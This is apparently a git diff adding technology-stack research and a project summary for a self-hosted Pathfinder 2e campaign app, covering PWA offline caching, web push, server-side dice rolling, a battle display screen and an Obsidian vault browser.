| `remark-obsidian-callout` (or inline custom plugin) | ^1.x | Render Obsidian `> [!note]` / `> [!warning]` callouts | Optional but Obsidian-flavored vaults heavily use callouts. Can also be hand-rolled as a small remark plugin (≤50 LOC) that detects the `[!type]` pattern in blockquotes — the user owns the vault content style, so a tight in-house plugin is acceptable. |
|
||||
| `react-shiki` | ^0.9.x | Syntax highlighting for code blocks inside vault markdown | Recommended replacement for `react-syntax-highlighter` (latter is unmaintained, slow first-paint, has open vulnerabilities). Wraps Shiki — same TextMate grammars as VS Code — and exposes both a `<ShikiHighlighter>` component and a `useShikiHighlighter` hook. Offers fine-grained bundle control: pick only the languages we want (e.g., `typescript`, `bash`, `json`, `markdown`, `python`) to keep bundle size sane. |
|
||||
| `webdav` (perry-mitchell client) | ^5.x | TS-typed WebDAV client for the NestJS server to read the user's self-hosted vault | TypeScript-native, supports Basic/Digest/Token auth, browser-and-Node compatible (we'll use Node in the server). Server-side fetch keeps vault credentials off the client and lets the existing JWT auth gate vault access. Maintained, last commits within current cycle. |
|
||||
|
||||
### Supporting Libraries
|
||||
|
||||
| Library | Version | Purpose | When to Use |
|
||||
|---------|---------|---------|-------------|
|
||||
| `idb` (or `idb-keyval`) | ^8.x / ^6.x | Promise-wrapped IndexedDB for offline payload cache | When TanStack Query's in-memory cache isn't enough — i.e., persisting last-fetched character sheet, vault notes, equipment DB extracts so they survive a hard reload offline. `idb-keyval` if all we need is `get`/`set`; `idb` if we want indexed schemas. Recommendation: start with `idb-keyval`. |
|
||||
| `@tanstack/query-sync-storage-persister` + `@tanstack/react-query-persist-client` | matching ^5.90.x | Persist React Query cache to localStorage/IndexedDB | The "right" way to make existing `useQuery` calls offline-readable without rewriting hooks. Wrap `QueryClientProvider` with `PersistQueryClientProvider`. Plug-in fit with the existing TanStack Query 5.90.19 install. |
|
||||
| `unified` | ^11.x | Core processor that `react-markdown` already pulls in | Don't install separately unless authoring custom AST plugins; transitive via `react-markdown`. Listed for visibility. |
|
||||
| `rehype-slug` + `rehype-autolink-headings` | ^6.x / ^7.x | Slug + anchor links on rendered headings | Vault notes get stable URL fragments. Optional. |
|
||||
| `class-variance-authority` (cva) | ^0.7.x | Variant-driven Tailwind class composition | Optional. Only if new Battle/Display screens grow many size/state variants. Existing code uses `clsx` + `tailwind-merge` which already covers most cases — only add CVA if a component file starts looking like a chain of nested ternaries. |
|
||||
| `usehooks-ts` (specifically `useBroadcastChannel`, `useMediaQuery`) | ^3.x | Tiny well-tested React hooks | Avoid hand-rolling `useBroadcastChannel` — `usehooks-ts` already wraps it with proper cleanup. Pick à la carte; don't import the whole library. |
|
||||
|
||||
### Development Tools
|
||||
|
||||
| Tool | Purpose | Notes |
|
||||
|------|---------|-------|
|
||||
| `web-push` CLI (`npx web-push generate-vapid-keys`) | One-shot VAPID key generation | Run once; store keys in `server/.env` as `VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT` (mailto). Don't regenerate without re-subscribing all users. |
|
||||
| `@vite-pwa/assets-generator` CLI | Build-time icon and splash screen generation | Run as `pwa-assets-generator` script before production build. Source SVG checked into repo. |
|
||||
| Workbox dev tools / Chrome DevTools "Application" tab | Debug service worker, cache contents, push subscriptions | Standard browser tooling; no install. Critical for verifying offline behavior of cached endpoints. |
|
||||
| Lighthouse / PWA tab in Chrome | Validate manifest, install prompt, service worker quality | Run before each release of the milestone. Aim for "Installable" + offline-capable green checks. |
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Client (cd client)
|
||||
npm install vite-plugin-pwa workbox-precaching workbox-routing workbox-strategies workbox-expiration workbox-cacheable-response
|
||||
npm install -D @vite-pwa/assets-generator
|
||||
|
||||
npm install react-markdown remark-gfm @portaljs/remark-wiki-link react-shiki shiki
|
||||
npm install rehype-slug rehype-autolink-headings # optional
|
||||
|
||||
npm install idb-keyval
|
||||
npm install @tanstack/react-query-persist-client @tanstack/query-sync-storage-persister
|
||||
|
||||
npm install usehooks-ts # only the hooks we need
|
||||
|
||||
# Server (cd server)
|
||||
npm install web-push @dice-roller/rpg-dice-roller webdav
|
||||
npm install -D @types/web-push # check if shipped types are sufficient first; @types/web-push exists but the package now ships its own .d.ts in 3.6.x
|
||||
|
||||
# One-time
|
||||
cd server && npx web-push generate-vapid-keys # capture into .env
|
||||
```
|
||||
|
||||
## Alternatives Considered
|
||||
|
||||
| Recommended | Alternative | When to Use Alternative |
|
||||
|-------------|-------------|-------------------------|
|
||||
| `vite-plugin-pwa` | Hand-written service worker + manifest | If we ever need behavior the plugin actively fights (e.g., dev-only SW with HMR). Not the case here — `injectManifest` strategy already gives full control. |
|
||||
| `vite-plugin-pwa` Workbox | Serwist (Workbox fork) | Active fork, cleaner ESM. Worth tracking but not yet the default for Vite — `vite-plugin-pwa` upstream still uses Workbox. Switch only if Workbox stalls. |
|
||||
| `web-push` | Self-rolled VAPID + ECE encryption | Never. The encryption details (ECDH, HKDF, AES-128-GCM) are the kind of code you do not want to maintain yourself. |
|
||||
| `web-push` | `@vv-01/web-push-service` (NestJS-specific wrapper) | If we later want OneSignal-like multi-tenant features. Overkill for self-hosted single-group app. |
|
||||
| `@dice-roller/rpg-dice-roller` | `dice-notation` (`Morgul/rpgdice`) | Smaller, simpler. Use if rpg-dice-roller's modifier set turns out to be too feature-heavy. But for PF2e (with rerolls, exploding, keep-highest, math) the full feature set is justified. |
|
||||
| `@dice-roller/rpg-dice-roller` | Hand-rolled regex parser | Tempting but a trap — every TTRPG team that did this regrets it within a year (operator precedence, `kh3` vs `kl3`, error messages). Use the library. |
|
||||
| `react-markdown` | `markdown-to-jsx` | Smaller bundle (~10KB vs ~50KB), no plugin ecosystem. Use only if bundle size becomes critical and we don't need wikilinks/GFM/Shiki. We do need all three. |
|
||||
| `react-markdown` | `marked` + custom React renderer | Faster parser. Loses the unified/remark plugin ecosystem (no wikilink plugin, no callouts). Not worth the speed gain. |
|
||||
| `react-markdown` | `@uiw/react-md-editor` | Bundles an editor — we explicitly do NOT need editing in v1 of vault browser. Out of scope. |
|
||||
| `@portaljs/remark-wiki-link` | `remark-wiki-link-plus` | Also viable. PortalJS variant has cleaner Obsidian path resolution semantics. Tied; pick one and stick to it. |
|
||||
| `react-shiki` | Plain Shiki + custom integration | Use if we want SSR pre-rendered code blocks. We don't have SSR; client-side react-shiki is correct. |
|
||||
| `react-shiki` | Prism / `prismjs` | Smaller bundle, but theme + accuracy are noticeably worse. PrismJS is also not actively keeping pace with newer language additions. |
|
||||
| `react-shiki` | `highlight.js` | Zero-config but ~340KB uncompressed full bundle, less accurate, dated themes. |
|
||||
| `webdav` (perry-mitchell) | Plain HTTP file server (`@nestjs/serve-static` pointing at vault dir) | **Strongly worth considering** — see "Stack Patterns by Variant" below. If the user is willing to mount the vault directory into the server's filesystem, a custom NestJS controller serving markdown over authenticated HTTP is simpler than WebDAV. WebDAV is the right answer ONLY if the vault lives on a separate machine the server has WebDAV access to. |
|
||||
| `webdav` (perry-mitchell) | `tsdav` | Also TS-native, but adds CalDAV/CardDAV which we don't need. Smaller cognitive surface to use perry-mitchell's. |
|
||||
| `webdav` (perry-mitchell) | git-based sync (clone the vault repo on server) | Works, but is a fight: Obsidian's git workflows are messy (large binary attachments, `.obsidian/` config noise), and "read-only" via git means scheduled pulls. Adds infra without paying for itself. |
|
||||
| `idb-keyval` | LocalStorage | LocalStorage is sync, ~5MB cap, blocks main thread. IDB (via `idb-keyval`) is the right call for character sheet snapshots and vault notes. |
|
||||
| BroadcastChannel for table-display sync | postMessage between `window.opener` and child window | postMessage works but loses messages if either window reloads, and requires the child to be opened from the parent. BroadcastChannel survives reloads and works between independently opened tabs as long as same-origin. |
|
||||
| BroadcastChannel | A shared SharedWorker | Overkill. SharedWorker would be useful if we wanted a single shared WebSocket connection across tabs — we can defer that until we see actual traffic problems. |
|
||||
|
||||
## What NOT to Use
|
||||
|
||||
| Avoid | Why | Use Instead |
|
||||
|-------|-----|-------------|
|
||||
| `react-syntax-highlighter` | Unmaintained, slow first-paint when there are many code blocks, has flagged audit issues | `react-shiki` |
|
||||
| `marked` (as React renderer) | No native React tree output, no remark plugin ecosystem, tempts you to `dangerouslySetInnerHTML` | `react-markdown` |
|
||||
| `pwa-asset-generator` (the older CLI) | Older project, less Vite-aware | `@vite-pwa/assets-generator` |
|
||||
| `firebase-admin` or FCM-tier push | Native push platform lock-in, account onboarding required, no advantage over standard Web Push for our self-hosted setup | `web-push` (standards-based VAPID) |
|
||||
| Capacitor / Cordova / PWABuilder native wrappers | Adds an app store distribution path we explicitly don't want (PROJECT.md "Out of Scope: Native iOS/Android-App") | Stick with PWA install-to-home-screen |
|
||||
| Background Sync API on iOS | iOS Safari does not support Background Sync as of 2026 — code that depends on it will silently no-op on iPhones | Treat write operations as online-only (already in scope: "Offline-Bearbeiten ist explizit raus"); use foreground sync with explicit user action on reconnect |
|
||||
| Silent push / data-only push on iOS | iOS Safari does not support silent/background-wake push (only user-visible notifications) | Always send a visible notification payload; if you need to "trigger app data sync", do it foreground when the user taps the notification |
|
||||
| Hand-written dice notation parser | Operator-precedence bugs, no error recovery, no modifier extensibility | `@dice-roller/rpg-dice-roller` |
|
||||
| Storing dice rolls only in client | No audit trail, trivially cheatable, no cross-player visibility | Roll on server in a NestJS service; persist `Roll` records in Prisma; broadcast via Socket.io |
|
||||
| `localStorage` event for cross-window sync | Fires only on OTHER tabs (not the originating one), doesn't survive private browsing edge cases | `BroadcastChannel` |
|
||||
| LocalStorage for vault note caching | Sync, 5MB cap, will hit the cap with a real vault | IndexedDB via `idb-keyval` (or Workbox's runtime caching for HTTP responses) |
|
||||
| Running dice rolls only on the client | Trivial to cheat with devtools, no replay log | Server authoritative, client merely formats |
|
||||
| Allowing service worker to bypass auth on `/api/*` | Cached private data could leak across users sharing a device | Scope cache keys by user ID; on logout, call `caches.delete()` for user-bound caches |
|
||||
|
||||
## Stack Patterns by Variant
|
||||
|
||||
### Vault transport: WebDAV vs HTTP-mounted
|
||||
|
||||
**If the vault is on the same machine as the NestJS server (or NFS/SMB-mounted to it):**
|
||||
- Build a small `vault` NestJS module that reads markdown directly from the filesystem with `fs/promises`
|
||||
- Auth via existing JWT guard (gate behind ADMIN/GM/PLAYER roles per PROJECT.md role model)
|
||||
- Endpoints: `GET /api/vault/tree`, `GET /api/vault/note?path=...`, `GET /api/vault/search?q=...`, `GET /api/vault/asset?path=...` (for embedded images)
|
||||
- Cache-Control headers tuned for Workbox CacheFirst on assets, NetworkFirst on notes
|
||||
- Why: simpler, lower latency, no extra protocol surface, full control over auth — best fit for the "self-hosted for own group" setup
|
||||
|
||||
**If the vault is on a separate machine the server can reach:**
|
||||
- Use `webdav` (perry-mitchell) inside the same `vault` NestJS module
|
||||
- Hide WebDAV credentials in `.env`; never expose them to the client
|
||||
- Endpoints stay the same shape — module just swaps fs calls for WebDAV calls
|
||||
- Why: WebDAV is the most common TTRPG-friendly self-hosted protocol (Nextcloud, Synology, raw sabre/dav)
|
||||
|
||||
**Recommendation:** Default to filesystem mount. Implement the `vault` module with a swappable `VaultProvider` interface (`FsVaultProvider`, `WebDAVVaultProvider`) so the choice is one DI binding, not a rewrite. This matches the existing module pattern in `server/src/modules/`.
|
||||
|
||||
### Multi-screen: Same-machine GM laptop driving table display
|
||||
|
||||
**Scenario A — Both screens served from same browser (likely):**
|
||||
- GM opens main app on display 1
|
||||
- "Open Tisch-Display" button → `window.open('/battle/:sessionId/display', 'tisch-display', '...')` on display 2
|
||||
- Sync via `BroadcastChannel('battle-:sessionId')` — same-origin, both windows post and listen
|
||||
- Display window subscribes to the same battle Socket.io namespace as the GM (read-only, GM events broadcast to both)
|
||||
- Display window does NOT need its own auth dance — share JWT via the broadcast handshake
|
||||
|
||||
**Scenario B — Table display is a separate device (Raspberry Pi / kiosk PC):**
|
||||
- Both devices connect to the same Socket.io namespace independently
|
||||
- Add a `display` room/role on the gateway; emit only safe-for-public events to it (no GM private notes)
|
||||
- Skip BroadcastChannel entirely — WS-only
|
||||
|
||||
**Recommendation:** Build for Scenario B (separate device, WS-only). It's the more capable pattern, and Scenario A is a degenerate case that just happens to work because BroadcastChannel is a no-op when only one window is listening. Don't make BroadcastChannel a load-bearing dependency.
|
||||
|
||||
### iOS PWA Push: degraded mode by default
|
||||
|
||||
- Document explicitly: iOS PWA push works ONLY when the app is installed to home screen (not in Safari tabs)
|
||||
- Use **Declarative Web Push** payloads (Safari 18.4+, March 2026) where possible — no service worker needed, more reliable
|
||||
- For Android/desktop Chrome where service-worker-driven push works fully, use the richer payload (custom actions, badges)
|
||||
- Server should send the same logical message; client UX gracefully degrades
|
||||
|
||||
### Offline strategy by content type
|
||||
|
||||
| Content | Cache strategy | Reason |
|
||||
|---------|---------------|--------|
|
||||
| App shell (HTML/JS/CSS) | Precache (Workbox `precacheAndRoute`) | Hashed assets, immutable |
|
||||
| `/api/characters/:id` | NetworkFirst, 5s timeout, 24h cache | Always want fresh, fall back to cached when offline |
|
||||
| `/api/equipment/*` | StaleWhileRevalidate, 7-day cache | Mostly static after seed; show cached fast, refresh background |
|
||||
| `/api/translations/*` | CacheFirst, 30-day cache | Translations are append-only |
|
||||
| `/api/vault/note?path=...` | NetworkFirst, 5s timeout, 7-day cache | Vault rarely changes during a session |
|
||||
| `/api/vault/asset?path=...` | CacheFirst, 30-day cache, max 200 entries | Images, large, immutable |
|
||||
| Translation cache hits via `/api/translations` | StaleWhileRevalidate | Already cached server-side; client cache is bonus |
|
||||
|
||||
## Version Compatibility
|
||||
|
||||
| Package | Compatible With | Notes |
|
||||
|---------|-----------------|-------|
|
||||
| `vite-plugin-pwa@^1.2.0` | `vite@^7.0.0` (project: 7.2.4) | v1.0.1 was the cut-over to Vite 7. Don't pin below 1.0.1. |
|
||||
| `react-markdown@^9.x` | `react@^18 \|\| ^19` (project: 19.2.0) | v9 is the major-version line that supports React 19. v8 requires React 18. |
|
||||
| `react-shiki@^0.9.x` | React 18 + 19 | Verify peer dep at install; pin patch version after install. Pre-1.0 — read changelog before bumping. |
|
||||
| `@portaljs/remark-wiki-link@^1.2.0` | `unified@^11`, `remark@^15` (transitive via react-markdown@9) | Aligned with current unified ecosystem. |
|
||||
| `web-push@^3.6.7` | Node 16+ (project: Node 22 LTS) | Mature; release cadence intentionally slow. |
|
||||
| `@dice-roller/rpg-dice-roller@^5.5.1` | Node 18+, browser ES2020+ | Pure TS, no native deps. |
|
||||
| `webdav@^5.x` | Node 16+, modern browsers | v5 active dev; v4 is in maintenance. Use v5 for new code. |
|
||||
| `idb-keyval@^6.x` | All browsers with IndexedDB (i.e. all evergreen) | No SSR concerns since we're SPA. |
|
||||
| `@tanstack/react-query-persist-client` | Match `@tanstack/react-query` major (project: 5.90.19, so use `5.x`) | Same release train. |
|
||||
|
||||
## Module-fit notes (where each addition lands in existing structure)
|
||||
|
||||
- **`vite-plugin-pwa`** → `client/vite.config.ts` plugin entry; new `client/src/sw.ts` for `injectManifest` strategy; new `client/src/shared/hooks/use-pwa.ts` wrapping `useRegisterSW` from `virtual:pwa-register/react`
|
||||
- **`web-push`** → new `server/src/modules/notifications/` module (controller + service + Prisma `PushSubscription` model). Mirrors the existing module pattern (auth, campaigns, characters)
|
||||
- **`@dice-roller/rpg-dice-roller`** → new `server/src/modules/dice/` module with `DiceService.roll(notation, context)` and a `RollLog` Prisma model. Roll events emitted on existing Socket.io infrastructure via a new gateway or extended battle/character gateway — match the existing gateway pattern in `characters.gateway.ts` and `battle.gateway.ts`
|
||||
- **`react-markdown` + plugins + `react-shiki`** → new `client/src/features/vault/` feature folder per the existing `features/*/components` convention. New `vault-renderer.tsx` component owns the `<Markdown>` component config; `wiki-link.tsx`, `vault-image.tsx`, `vault-code-block.tsx` are the custom React components passed via `components` prop
|
||||
- **`webdav` (or fs-based)** → new `server/src/modules/vault/` module with `VaultProvider` interface and either `FsVaultProvider` or `WebDAVVaultProvider` injected via NestJS DI. Endpoints prefixed `/api/vault/*`
|
||||
- **`idb-keyval` + React Query persist** → `client/src/app/` (where the `QueryClient` already lives, or wherever `App.tsx` mounts providers). Wrap `QueryClientProvider` with `PersistQueryClientProvider`
|
||||
- **BroadcastChannel** → `client/src/features/battle/hooks/use-display-channel.ts`, used by the new display-mode route
|
||||
|
||||
## Sources
|
||||
|
||||
- `/vite-pwa/vite-plugin-pwa` (Context7, HIGH) — confirmed `injectManifest` strategy syntax, React `useRegisterSW` hook, Vite 7 support since v1.0.1
|
||||
- `/web-push-libs/web-push` (Context7, HIGH) — confirmed `generateVAPIDKeys()`, `setVapidDetails()`, `sendNotification()` API surface; current API and 410/404/429 error patterns
|
||||
- `/remarkjs/react-markdown` (Context7, HIGH) — confirmed `remarkPlugins`, `components` prop pattern for custom rendering; v9 line is current
|
||||
- `/shikijs/shiki` (Context7, HIGH) — Shiki 4.0.2 current; ESM-bundled grammars
|
||||
- `/avgvstvs96/react-shiki` (Context7, HIGH) — react-shiki recommended replacement for `react-syntax-highlighter`
|
||||
- `/googlechrome/workbox` (Context7, HIGH) — caching strategies primitives
|
||||
- npmjs.com release pages for `vite-plugin-pwa`, `web-push`, `@dice-roller/rpg-dice-roller`, `webdav`, `react-shiki` (Web search verified, MEDIUM-HIGH) — version numbers cross-checked
|
||||
- [vite-plugin-pwa v1.2.0 release (npm)](https://www.npmjs.com/package/vite-plugin-pwa) — released Nov 27, 2025; v1.0.1 added Vite 7 support
|
||||
- [vite-pwa-org docs (Netlify)](https://vite-pwa-org.netlify.app/) — `injectManifest`, `useRegisterSW` patterns
|
||||
- [Vite 7 release notes](https://vite.dev/blog/announcing-vite7) — Vite 7 requires Node 20.19+ / 22.12+
|
||||
- [web-push npm](https://www.npmjs.com/package/web-push) — v3.6.7 mature line; `web-push-libs` org
|
||||
- [@dice-roller/rpg-dice-roller npm](https://www.npmjs.com/package/@dice-roller/rpg-dice-roller) — v5.5.1 current
|
||||
- [react-shiki npm](https://www.npmjs.com/react-shiki) — v0.9.3 current (April 2026)
|
||||
- [Shiki npm](https://www.npmjs.com/package/shiki) — v4.0.2 current
|
||||
- [@portaljs/remark-wiki-link npm](https://www.npmjs.com/package/@portaljs/remark-wiki-link) — Obsidian-flavored path resolution
|
||||
- [perry-mitchell/webdav-client GitHub](https://github.com/perry-mitchell/webdav-client) — TS-native WebDAV client v5
|
||||
- [PWA iOS limitations 2026 (MagicBell)](https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide) — iOS push only when installed to home screen, no Background Sync, Declarative Web Push since Safari 18.4
|
||||
- [BroadcastChannel API (MDN)](https://developer.mozilla.org/en-US/docs/Web/API/BroadcastChannel) — same-origin cross-window messaging
|
||||
- [Workbox strategies (Chrome for Developers)](https://developer.chrome.com/docs/workbox/modules/workbox-strategies) — NetworkFirst/CacheFirst/StaleWhileRevalidate
|
||||
- [coddingtonbear/obsidian-local-rest-api](https://github.com/coddingtonbear/obsidian-local-rest-api) — *not adopted* but listed as a reference if vault is hosted inside Obsidian itself rather than a static directory
|
||||
|
||||
---
|
||||
*Stack research for: Dimension47 next milestone (PWA + multi-screen battle + extended WS + Obsidian vault browser + Level-Up)*
|
||||
*Researched: 2026-04-27*
|
||||
295
.planning/research/SUMMARY.md
Normal file
295
.planning/research/SUMMARY.md
Normal file
@@ -0,0 +1,295 @@
|
||||
# Project Research Summary
|
||||
|
||||
**Project:** Dimension47 - TTRPG Campaign Management Platform
|
||||
**Domain:** Self-hosted PF2e TTRPG companion web app (brownfield milestone)
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH
|
||||
|
||||
## Executive Summary
|
||||
|
||||
Dimension47 is a self-hosted, single-group PF2e TTRPG companion app with a mature existing stack (NestJS 11, React 19, Prisma 7, PostgreSQL, Socket.io 4.8.3, Tailwind v4). The next milestone adds seven distinct capability areas to the live system: PF2e-regelkonform Level-Up, PWA installability with offline read, Web Push notifications, server-authoritative dice rolling with in-app chat, multi-screen battle display, GM live-control panel, and an Obsidian vault read-only browser. Research confirms the existing architectural patterns (NestJS module-per-feature, React feature directories, WebSocket gateway-per-namespace, Prisma migrations-only) scale cleanly to all seven areas with five new backend modules, seven new Prisma migrations, and approximately 40 new files. No fundamental architectural change is needed; all additions are additive and follow documented existing patterns.
|
||||
|
||||
Three infrastructure decisions must be made once and cannot be retrofitted: (1) the service worker must use the injectManifest strategy with user-scoped cache keys and logout-triggered cache purge from day one - retrofitting this after multiple phases would require touching every cached route; (2) the battle display screen must be a separate route with server-side sub-room filtering, never a CSS-hidden React variant, because GM data would otherwise be readable in browser DevTools; (3) all dice rolls must be server-authoritative using crypto.randomInt plus @dice-roller/rpg-dice-roller, because WebSocket payloads are fully attacker-controlled and PF2e crit math (doubles dice not modifiers) is easy to implement wrong client-side.
|
||||
|
||||
The primary risk in the milestone is Level-Up complexity. PF2e Level-Up has six independent choice axes per level with a prerequisite DSL that covers skill ranks, feat ownership, class membership, ancestry, and deity. The boost-cap-at-18 rule (+1 not +2 if attribute already at 18) and skill-increase-history tracking are the most common implementation bugs. Level-Up cannot be parallelized with other phases because it modifies CharactersService and CharactersGateway, which are touch-points for every other phase. The recommended mitigation is to build Level-Up first (Phase A), treat prerequisite DSL as an explicit sub-deliverable within that phase, and use an escape-hatch for unevaluable prerequisites (show a warning instead of a hard block) so unusual feats do not break the UI for the whole group.
|
||||
|
||||
## Key Findings
|
||||
|
||||
### Recommended Stack
|
||||
|
||||
The existing stack is locked and not re-evaluated. Twelve new libraries are added across the seven phases. The most critical adoption decisions are vite-plugin-pwa with injectManifest strategy (not generateSW - the distinction matters because only injectManifest allows hand-authoring the service worker for custom push handler and user-scoped cache invalidation), @dice-roller/rpg-dice-roller on the server side only, and react-markdown plus @portaljs/remark-wiki-link for the vault renderer. The webdav library is conditional: only needed if the vault lives on a separate machine; if it is filesystem-mounted on the NestJS server, a custom NestJS controller with fs/promises is simpler and lower-latency.
|
||||
|
||||
**Stack adoption table by phase:**
|
||||
|
||||
| Phase | Client installs | Server installs |
|
||||
|-------|----------------|-----------------|
|
||||
| A - Level-Up | none | none (pure NestJS + Prisma) |
|
||||
| B - PWA | vite-plugin-pwa, workbox-*, idb-keyval, @tanstack/react-query-persist-client, @tanstack/query-sync-storage-persister | none |
|
||||
| C - Web Push | none | web-push, @types/web-push |
|
||||
| D - Dice + Chat | none | @dice-roller/rpg-dice-roller |
|
||||
| E - Battle Ausbau | none | none |
|
||||
| F - GM Live-Tools | none | none (reuses existing events) |
|
||||
| G - Vault | react-markdown, remark-gfm, @portaljs/remark-wiki-link, react-shiki, shiki | webdav (conditional) |
|
||||
|
||||
**Core new technologies:**
|
||||
- vite-plugin-pwa v1.2.0: PWA manifest, service worker bundling, Vite 7 support since v1.0.1
|
||||
- workbox-precaching / workbox-routing / workbox-strategies: Caching primitives for injectManifest SW
|
||||
- web-push v3.6.7: VAPID-signed server-side push delivery, mature stable API
|
||||
- @dice-roller/rpg-dice-roller v5.5.1: TS-typed RPG dice parser, supports all PF2e modifiers
|
||||
- react-markdown v9.x: React 19 compatible markdown renderer, no dangerouslySetInnerHTML
|
||||
- @portaljs/remark-wiki-link v1.2.0: Obsidian-flavored wikilink AST nodes with shortest-path resolution
|
||||
- react-shiki v0.9.x: Syntax highlighting, replaces unmaintained react-syntax-highlighter
|
||||
- idb-keyval v6.x: IndexedDB wrapper for user-scoped offline cache
|
||||
- webdav v5.x: TS-native WebDAV client for vault transport (conditional)
|
||||
|
||||
### Expected Features
|
||||
|
||||
Level-Up is the structurally most complex single feature: six choice axes (attribute boost, class feat, skill feat, general feat, skill increase, ancestry feat, class feature), prerequisite DSL covering roughly 200+ feats with non-trivial conditions, per-class progression tables that vary widely (Fighter weapon specialization steps vs Wizard school progressions vs Rogue every-level skill increases), boost-cap arithmetic at 18, and Free Archetype variant (group uses it - table stakes, not optional). Spellcaster slot and cantrip progression is also table stakes because the group has active spellcasters.
|
||||
|
||||
**Must have (table stakes for this milestone):**
|
||||
- Level-Up: all six choice axes, prerequisite validation, auto-recompute, DRAFT/PATCH/COMMIT flow, undo before commit, Free Archetype variant, spellcaster slot progression
|
||||
- PWA: installable manifest, service worker, Android automatic install prompt, iOS guided Add-to-Home-Screen, cache-first offline read for character sheets
|
||||
- Web Push: VAPID keys, subscription persistence per device, GM-to-player ping
|
||||
- Battle Display-Mode: separate read-only route, large initiative tracker, token effects/conditions visible, no GM-only data
|
||||
- Token effects: per-token named effects with optional duration, WebSocket broadcast
|
||||
- Dice + Roll Log: server-authoritative PF2e notation, degree-of-success, broadcast to all in campaign/battle
|
||||
- In-game Chat: per campaign and battle, inline roll embeds, GM ping message
|
||||
- GM Live-Tools: HP/conditions/items/money on any player character, push-ping UI
|
||||
- Vault: folder tree, file read, markdown + wikilinks + image embeds, full-text search, last-N offline cached
|
||||
|
||||
**Should have (differentiators):**
|
||||
- German UI for all new feat and class-feature text via existing Claude API translation cache
|
||||
- Animated GM-ping arrival with vibration + initiative card pop-up
|
||||
- Battle display cinematic theme (dim off-turn tokens)
|
||||
- GM request-roll feature (combined push + pre-populated dice button)
|
||||
- Roll history export to HTML
|
||||
|
||||
**Defer to v1.x:**
|
||||
- Auto-condition application from spells/attacks (heavy data model cost)
|
||||
- Vault offline FlexSearch full-index
|
||||
- Vault frontmatter NPC chips in chat/battle
|
||||
- Level-up history view per character
|
||||
|
||||
**Anti-features (deliberately excluded):**
|
||||
- Bidirectional vault sync, native app wrapper, in-app character creation, fog of war, voice/video, 3D dice, background sync (iOS unsupported), skipWaiting() in service worker
|
||||
|
||||
### Architecture Approach
|
||||
|
||||
The architecture is additive: five new NestJS modules (LevelingModule, PushModule, DiceModule, ChatModule, VaultModule), five Prisma migrations in dependency order, and approximately 40 new files following the existing module-per-feature pattern. Existing modules (CharactersModule, BattleModule, AuthModule) receive targeted extensions rather than rewrites. The battle gateway gains server-side sub-rooms (battle:id:gm / battle:id:display) to filter GM-only events at the emit layer. The CharactersGateway gains a level_up_committed update type. All WebSocket gateways follow the existing pattern: JWT decoded once on connect, userId cached on socket.data, authorization per event using cached userId.
|
||||
|
||||
**Major new components:**
|
||||
1. LevelingModule - DRAFT/PATCH/COMMIT API for PF2e level-up with prerequisite DSL validator and recompute hooks into CharactersService
|
||||
2. PushModule - VAPID push delivery service with subscription CRUD, 410-cleanup lifecycle, sendToUser/sendToCampaign helpers
|
||||
3. DiceModule + DiceGateway - server-side roll with @dice-roller/rpg-dice-roller, persist to DiceRoll table, broadcast via /dice namespace
|
||||
4. ChatModule + ChatGateway - append-only messages with embedRollId FK for roll embeds, /chat namespace
|
||||
5. VaultModule - VaultProvider DI interface (FsVaultProvider or WebDAVVaultProvider), wikilink resolver, image proxy, VaultNoteCache in Postgres
|
||||
6. BattleDisplayPage - separate route /campaigns/:id/battle/display, server-filtered DTO, display-only token with short-lived scoped credential
|
||||
7. sw/service-worker.ts - Workbox injectManifest custom SW with user-scoped cache keys, logout purge via postMessage, NetworkFirst for API, CacheFirst for assets
|
||||
8. LevelUpWizard - step-by-step modal (class features -> boosts -> class feat -> skill increases -> general/skill feat -> review) with resume-on-reload via persisted DRAFT
|
||||
|
||||
**Prisma migration sequence (must follow this order):**
|
||||
1. add_level_up_sessions (Phase A)
|
||||
2. add_push_subscriptions (Phase C)
|
||||
3. add_dice_and_chat (Phase D)
|
||||
4. add_battle_effects_and_turn_pointer (Phase E)
|
||||
5. add_vault_config (Phase G)
|
||||
|
||||
### Critical Pitfalls
|
||||
|
||||
1. **SW cache leaks user data across logins** - Use IndexedDB keyed by userId for all authenticated API responses, never Cache API for auth-gated routes. On logout, postMessage LOGOUT to SW and call caches.delete() for user-scoped caches. Design this on day one of PWA phase; retrofitting is expensive.
|
||||
|
||||
2. **Display screen leaks GM data via unfiltered WebSocket frames** - Server must emit to battle:id:gm and battle:id:display sub-rooms separately. Display token must be a short-lived scoped credential issued by GM. Verify with socket.onAny(console.log) in incognito before shipping.
|
||||
|
||||
3. **SW auto-update reloads mid-battle** - Never call skipWaiting() automatically. Gate the update prompt on !isInBattle Zustand state. Only show update banner when no active battle session.
|
||||
|
||||
4. **Boost-cap-at-18 bug corrupts character permanently** - Centralize in applyAttributeBoost(current): current >= 18 ? +1 : +2. Unit test this function. Validate that a boost set applies to four different attributes (grey out already-boosted in UI).
|
||||
|
||||
5. **VAPID key loss breaks all push subscriptions silently** - Treat VAPID keys as application secrets equivalent to JWT_SECRET. Document in .env.example. Implement 410-Gone cleanup on push send. Implement pushsubscriptionchange listener in SW for browser-rotated subscriptions.
|
||||
|
||||
## Implications for Roadmap
|
||||
|
||||
Based on combined research, the recommended build order is A -> B -> C -> D -> E -> F -> G with two negotiable parallelizations (D can start after B without waiting for C; G can start after B without waiting for E or F).
|
||||
|
||||
### Phase A: Level-Up (regelkonform)
|
||||
|
||||
**Rationale:** Level-Up touches CharactersService and CharactersGateway, the most-modified files across the milestone. Starting here validates the pattern of extending existing modules before any new infrastructure (PWA, Push, Dice) is layered on top. No external library additions required. Highest rules-complexity of the milestone; benefits most from dedicated focus without competing priorities.
|
||||
|
||||
**Delivers:** Complete PF2e level-up wizard (all six choice axes), DRAFT/PATCH/COMMIT flow, prerequisite DSL evaluator, boost-cap-at-18 correct, Free Archetype variant toggle, spellcaster slot progression, auto-recompute of HP-Max/saves/AC, level_up_committed WebSocket broadcast.
|
||||
|
||||
**New modules:** LevelingModule with LevelUpSession Prisma model
|
||||
|
||||
**Key files changed:** characters.service.ts (applyLevelUp, recomputeDerivedStats), characters.gateway.ts (level_up_committed type), character-sheet-page.tsx (Stufe-steigen button + wizard mount)
|
||||
|
||||
**Stack installs:** None
|
||||
|
||||
